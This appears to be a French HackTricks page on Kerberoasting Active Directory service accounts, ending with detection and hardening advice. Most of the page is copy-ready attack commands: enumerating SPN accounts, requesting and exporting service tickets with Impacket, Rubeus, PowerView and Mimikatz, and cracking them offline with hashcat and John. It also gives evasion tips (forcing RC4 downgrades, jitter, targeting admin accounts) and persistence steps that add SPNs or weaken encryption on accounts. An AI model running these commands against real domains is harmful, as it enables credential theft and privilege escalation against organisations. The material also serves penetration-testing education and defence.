Kerberoast
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Kerberoast
Kerberoasting se concentre sur l'acquisition de tickets TGS, spécifiquement ceux liés aux services fonctionnant sous des comptes d'utilisateur dans Active Directory (AD), à l'exclusion des comptes d'ordinateur. Le chiffrement de ces tickets utilise des clés qui proviennent des mots de passe des utilisateurs, permettant ainsi le craquage des identifiants hors ligne. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété ServicePrincipalName (SPN) non vide.
Tout utilisateur authentifié du domaine peut demander des tickets TGS, donc aucun privilÚge spécial n'est nécessaire.
Points Clés
- Cible les tickets TGS pour les services qui s'exécutent sous des comptes d'utilisateur (c'est-à -dire, des comptes avec SPN défini ; pas des comptes d'ordinateur).
- Les tickets sont chiffrĂ©s avec une clĂ© dĂ©rivĂ©e du mot de passe du compte de service et peuvent ĂȘtre craquĂ©s hors ligne.
- Aucun privilÚge élevé requis ; tout compte authentifié peut demander des tickets TGS.
warning
La plupart des outils publics préfÚrent demander des tickets de service RC4-HMAC (etype 23) car ils sont plus rapides à craquer que l'AES. Les hachages TGS RC4 commencent par $krb5tgs$23$*
, AES128 par $krb5tgs$17$*
, et AES256 par $krb5tgs$18$*
. Cependant, de nombreux environnements passent uniquement Ă l'AES. Ne supposez pas que seul RC4 est pertinent.
Ăvitez Ă©galement le roasting "spray-and-pray". Le kerberoast par dĂ©faut de Rubeus peut interroger et demander des tickets pour tous les SPN et est bruyant. ĂnumĂ©rez et ciblez d'abord les principaux intĂ©ressants.
Attaque
Linux
# Metasploit Framework
msf> use auxiliary/gather/get_user_spns
# Impacket â request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific userâs SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
Outils multi-fonction incluant des vérifications kerberoast :
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
Windows
- ĂnumĂ©rer les utilisateurs susceptibles d'ĂȘtre kerberoastĂ©s
# Built-in
setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname
# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
- Technique 1 : Demander un TGS et extraire de la mémoire
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
# Get all cached Kerberos tickets
klist
# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
- Technique 2 : Outils automatiques
# PowerView â single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView â all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus â default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus â target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus â target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
warning
Une demande TGS génÚre l'événement de sécurité Windows 4769 (Un ticket de service Kerberos a été demandé).
OPSEC et environnements uniquement AES
- Demandez RC4 intentionnellement pour les comptes sans AES :
- Rubeus :
/rc4opsec
utilise tgtdeleg pour énumérer les comptes sans AES et demande des tickets de service RC4. - Rubeus :
/tgtdeleg
avec kerberoast déclenche également des demandes RC4 lorsque cela est possible. - RÎtissez les comptes uniquement AES au lieu d'échouer silencieusement :
- Rubeus :
/aes
énumÚre les comptes avec AES activé et demande des tickets de service AES (etype 17/18). - Si vous détenez déjà un TGT (PTT ou d'un .kirbi), vous pouvez utiliser
/ticket:<blob|path>
avec/spn:<SPN>
ou/spns:<file>
et sauter LDAP. - Ciblage, limitation et moins de bruit :
- Utilisez
/user:<sam>
,/spn:<spn>
,/resultlimit:<N>
,/delay:<ms>
et/jitter:<1-100>
. - Filtrez pour des mots de passe probablement faibles en utilisant
/pwdsetbefore:<MM-dd-yyyy>
(anciens mots de passe) ou ciblez des OUs privilégiés avec/ou:<DN>
.
Exemples (Rubeus) :
# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
Craquage
# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
Persistance / Abus
Si vous contrĂŽlez ou pouvez modifier un compte, vous pouvez le rendre kerberoastable en ajoutant un SPN :
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
Rétrograder un compte pour activer RC4 afin de faciliter le craquage (nécessite des privilÚges d'écriture sur l'objet cible) :
# Allow only RC4 (value 4) â very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
Vous pouvez trouver des outils utiles pour les attaques kerberoast ici : https://github.com/nidem/kerberoast
Si vous trouvez cette erreur sous Linux : Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)
, cela est dû à un décalage horaire local. Synchronisez avec le DC :
ntpdate <DC_IP>
(déprécié sur certaines distributions)rdate -n <DC_IP>
Détection
Le kerberoasting peut ĂȘtre furtif. Recherchez l'ID d'Ă©vĂ©nement 4769 des DC et appliquez des filtres pour rĂ©duire le bruit :
- Exclure le nom de service
krbtgt
et les noms de service se terminant par$
(comptes d'ordinateur). - Exclure les demandes provenant de comptes machines (
*$$@*
). - Seulement les demandes réussies (Code d'échec
0x0
). - Suivre les types de chiffrement : RC4 (
0x17
), AES128 (0x11
), AES256 (0x12
). Ne pas alerter uniquement sur0x17
.
Exemple de triage PowerShell :
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message
Idées supplémentaires :
- Ătablir une utilisation normale des SPN par hĂŽte/utilisateur ; alerter sur de grandes rafales de demandes SPN distinctes provenant d'un seul principal.
- Signaler une utilisation inhabituelle de RC4 dans des domaines renforcés par AES.
Atténuation / Renforcement
- Utiliser gMSA/dMSA ou des comptes machines pour les services. Les comptes gérés ont des mots de passe aléatoires de plus de 120 caractÚres et se renouvellent automatiquement, rendant le craquage hors ligne impraticable.
- Appliquer AES sur les comptes de service en définissant
msDS-SupportedEncryptionTypes
sur AES uniquement (décimal 24 / hex 0x18) puis en faisant tourner le mot de passe afin que les clés AES soient dérivées. - Dans la mesure du possible, désactiver RC4 dans votre environnement et surveiller les tentatives d'utilisation de RC4. Sur les DC, vous pouvez utiliser la valeur de registre
DefaultDomainSupportedEncTypes
pour orienter les valeurs par défaut pour les comptes sansmsDS-SupportedEncryptionTypes
défini. Tester de maniÚre approfondie. - Supprimer les SPN inutiles des comptes utilisateurs.
- Utiliser des mots de passe de compte de service longs et aléatoires (plus de 25 caractÚres) si les comptes gérés ne sont pas réalisables ; interdire les mots de passe courants et auditer réguliÚrement.
Kerberoast sans un compte de domaine (STs demandés par AS)
En septembre 2022, Charlie Clark a montré que si un principal ne nécessite pas de pré-authentification, il est possible d'obtenir un ticket de service via un KRB_AS_REQ conçu en modifiant le sname dans le corps de la demande, obtenant ainsi un ticket de service au lieu d'un TGT. Cela reflÚte le AS-REP roasting et ne nécessite pas de crédentiels de domaine valides.
Voir les dĂ©tails : article de Semperis âNew Attack Paths: AS-requested STsâ.
warning
Vous devez fournir une liste d'utilisateurs car sans crédentiels valides, vous ne pouvez pas interroger LDAP avec cette technique.
Linux
- Impacket (PR #1413):
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
Windows
- Rubeus (PR #139):
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
Lié
Si vous ciblez des utilisateurs AS-REP roastable, voir aussi :
Références
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled
- Microsoft Security Blog (2024-10-11) â Les conseils de Microsoft pour aider Ă attĂ©nuer le Kerberoasting : https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/
- SpecterOps â Documentation sur Rubeus Roasting : https://docs.specterops.io/ghostpack/rubeus/roasting
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.